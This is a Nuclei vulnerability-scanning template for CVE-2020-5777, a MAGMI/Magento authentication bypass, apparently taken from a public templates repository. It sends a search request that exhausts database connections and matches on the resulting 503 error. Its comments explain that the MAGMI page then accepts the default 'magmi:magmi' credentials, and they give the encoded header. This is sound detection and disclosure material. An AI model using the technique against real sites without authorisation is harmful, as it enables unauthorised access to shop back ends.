nuclei-templates/cves/CVE-2020-5777.yaml

31 lines
1.1 KiB
YAML
Raw Normal View History

2020-09-04 13:02:17 +00:00
id: CVE-2020-5777
info:
name: "Remote Auth Bypass in MAGMI <= v0.7.23 Magento"
author: "dwisiswant0"
severity: "high"
description: "MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure."
# Response code 503 indicates a potential successful "Too many connections" error
# While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
# whith default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=)
# Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100
# Ref:
# - https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
requests:
- raw:
- |
GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition: and
matchers:
- type: word
words:
- "Too many connections"
part: body
- type: status
status:
- 503